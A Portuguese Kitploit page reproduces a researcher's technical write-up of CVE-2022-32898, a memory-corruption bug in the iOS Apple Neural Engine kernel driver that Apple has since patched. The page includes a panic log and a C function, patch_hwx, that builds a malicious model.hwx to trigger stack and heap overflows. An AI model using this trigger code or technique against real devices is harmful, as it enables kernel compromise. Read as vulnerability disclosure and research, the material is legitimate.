Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-32898 — Análise técnica e demonstração de exploração do CVE-2022-32898, uma vulnerabilidade de corrupção de memória do kernel no driver do Apple Neural Engine, com técnicas detalhadas de engenharia reversa e exploração para o kernel iOS. | Kitploit
Ferramentas/GitHubGitHub/ox1111/cve-2022-32898
Segurança iOSAnálise de VulnerabilidadesExploraçãoEngenharia ReversaSegurança MóvelSegurança de HardwareExploração de Binários
GitHubox1111/cve-2022-32898

CVE-2022-32898

Análise técnica e demonstração de exploração do CVE-2022-32898, uma vulnerabilidade de corrupção de memória do kernel no driver do Apple Neural Engine, com técnicas detalhadas de engenharia reversa e exploração para o kernel iOS.

Ver Repositório
há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-32898: ANE_ProgramCreate() múltiplas corrupções de memória do kernel

Nov 23, 2022 • Mohamed GHANNAM (@_simo36)

Comentário do autor

Estou compartilhando duas outras vulnerabilidades do kernel do iOS acessíveis a partir da sandbox padrão do aplicativo que não exigem que você abra um UserClient:

4

+16 bugs do kernel que reportei à Apple foram corrigidos no iOS 16/16.1. Farei uma palestra sobre como encadeei alguns bugs para conseguir r/w do kernel no #POC2022 no próximo mês, e o exploit do kernel para iOS 15 será lançado junto com algumas outras vulnerabilidades de alto impacto após a conferência.

Minha característica favorita do IDA 8.0 até agora: importações artificiais de métodos Obj-C 4

No iOS 15.5 beta 3, a Apple removeu IOMallocAligned(KHEAP_DEFAULT,...) de IOSharedDataQueue/IODataQueue::initWithCapacity() (agora usa kernel_memory_allocate() com a flag KMA_DATA). Era uma técnica elegante para preparar o heap padrão do kernel com dados controlados pelo usuário. RIP

6

Intro:

Durante a engenharia reversa do processo pelo qual o Apple Neural Engine carrega um modelo no nível do kernel, identifiquei duas vulnerabilidades interessantes de corrupção de memória no código responsável por processar as características da rede neural em H11ANEIn::ANE_ProgramCreate_gated(). Esse tipo de vulnerabilidade, na minha opinião, é fácil de encontrar ao auditar manualmente o driver do kernel, mas quase impossível de detectar com fuzzers a menos que você construa algo incrivelmente sofisticado.

Análise:

As funções ZinComputeProgramGetNamesFromMultiPlaneLinear() e ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() são responsáveis por analisar a entrada e saída do procedimento, ou mais precisamente, o comando LC_THREAD com thread flavor 2 (ane_bind_state) cujo valor binding_type_info é 4 e 5.

Pelo que posso dizer, binding_type_info = 4 significa que a entrada de um procedimento tem mais de um plano, e binding_type_info = 5 significa que a entrada não apenas tem mais de um plano, mas também é comprimida.

A função ZinComputeProgramGetNamesFromMultiPlaneLinear() por exemplo recebe 5 argumentos: um ponteiro para o comando load, um ponteiro para o thread binding, e três argumentos de saída extras. O último argumento de saída planes é um array que conterá planos, ou ponteiros do kernel, cujo conteúdo é controlado pelo usuário, e o último argumento planeCount indicará quantos planos (ou ponteiros do kernel) foram copiados para planes a partir do arquivo model.hwx. A seguir está a definição da função:

1

Devido à falta de validação de quantos planos um modelo pode fornecer, ponteiros do kernel podem ser escritos fora dos limites do array planes, potencialmente levando a muitos cenários interessantes de corrupção de memória.

Transformando a corrupção de memória em estouro de pilha:

O array planes é uma variável na pilha localizada em H11ANEIn::ANE_ProgramCreate_gated(), e ao estourar esta variável (que deve conter múltiplos planos até 4 elementos) com mais de 4 planos, outras variáveis da pilha também podem ser corrompidas, o que pode levar a outros problemas, como type-confusion, já que os ponteiros do kernel sobrescritos estão completamente sob controle do usuário.

Obviamente, estourar o array planes com muitas entradas provavelmente sobrescreveria o stack cookie, bem como o ponteiro do quadro de pilha antigo salvo, resultando em um kernel panic. Felizmente, o número total de planos está inteiramente sob controle do modelo fornecido, então podemos corromper várias variáveis da pilha sem afetar essas áreas sensíveis da pilha.

Transformando a corrupção de memória em estouro de heap:

Outro cenário interessante, e como ilustrado na imagem abaixo, é possível estourar dois objetos do heap: H11ANEProgramBindingInfo (na linha 528) e H11ANEProgramCreateArgsStructOutput (na linha 533).

2

root@kitploit:~
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

A definição da estrutura de H11ANEProgramCreateArgsStructOutput é mostrada acima, e corrompê-la pode resultar nas seguintes falhas:

root@kitploit:~
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

Acionar a vulnerabilidade:

O que torna essas vulnerabilidades interessantes é que não exige que você interaja diretamente com o kernel, em outras palavras, não há necessidade de abrir uma conexão UserClient, você simplesmente precisa compilar (ou criar) um modelo malicioso e deixar o aned carregá-lo em seu nome.

Como você deve saber, para carregar qualquer modelo via aned, o modelo deve ser compilado pelo serviço de sistema ANECompilerService ou assinado pela Apple. Em outras palavras, o aplicativo deve fornecer um diretório .mlmodelc para o aned, que então solicitará ao ANECompilerService que o compile para model.hwx usando duas estruturas chamadas Espresso e ANECompiler. Se você não sabe do que estou falando, sinta-se à vontade para dar uma olhada nos slides do #POC2022 aqui onde dei uma visão geral básica de como o aned funciona. Além disso, você pode obter mais detalhes sobre o processo de compilação na excelente palestra do BlackHat de Wish Wu sobre sua pesquisa no ANE, bem como sua ótima ferramenta que imita exatamente o que o ANECompilerService faz.

No nosso caso aqui, precisamos de um model.hwx com um procedimento cuja entrada (ou saída) suporte múltiplos planos. Infelizmente, nenhum modelo desse tipo está disponível no formato mlmodel, mlmodelc ou mlpackage, e apenas alguns modelos no formato hwx são fornecidos pela Apple. A inspeção desses modelos hwx revelou que eles estão usando algumas operações de rede neural estranhas/não documentadas que não existem na base de código da biblioteca coremltools de código aberto, indicando que essas camadas de rede são provavelmente apenas para uso interno. No entanto, a implementação dessas operações é definida pela estrutura Espresso, e alguma engenharia reversa é necessária para entender quais entradas e saídas elas suportam e como usá-las adequadamente como uma camada dentro de uma rede neural. Como a estrutura é escrita em C++ com STL, não tive interesse em reverter essa operação porque levaria uma eternidade.

Essa foi a principal razão que me levou a descobrir o CVE-2022-32845, que não apenas me permitiu evitar a engenharia reversa dessa estrutura assustadora, mas também me poupou centenas de horas de estudo de tópicos avançados de Machine Learning.

Então peguei um model.hwx simples e corrigi um de seus comandos LC_THREAD para replicar o resultado desejado em ane_bind_state, e então explorei o CVE-2022-32845 para enganar o aned fazendo-o carregá-lo como se fosse assinado pela Apple; e isso foi suficiente para demonstrar a vulnerabilidade à Apple.

A função que corrige o modelo é mostrada abaixo, e você pode pegar alguns códigos do meu weightBufs kernel exploit se quiser acionar a vulnerabilidade você mesmo.

root@kitploit:~
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

A correção:

A Apple corrigiu o problema no iOS 16 introduzindo algumas verificações de validação em ambas as funções vulneráveis, limitando a contagem de planos fornecida a quatro entradas, conforme mostrado abaixo: 3

É isso por enquanto, vejo vocês em breve!

Baixar ferramenta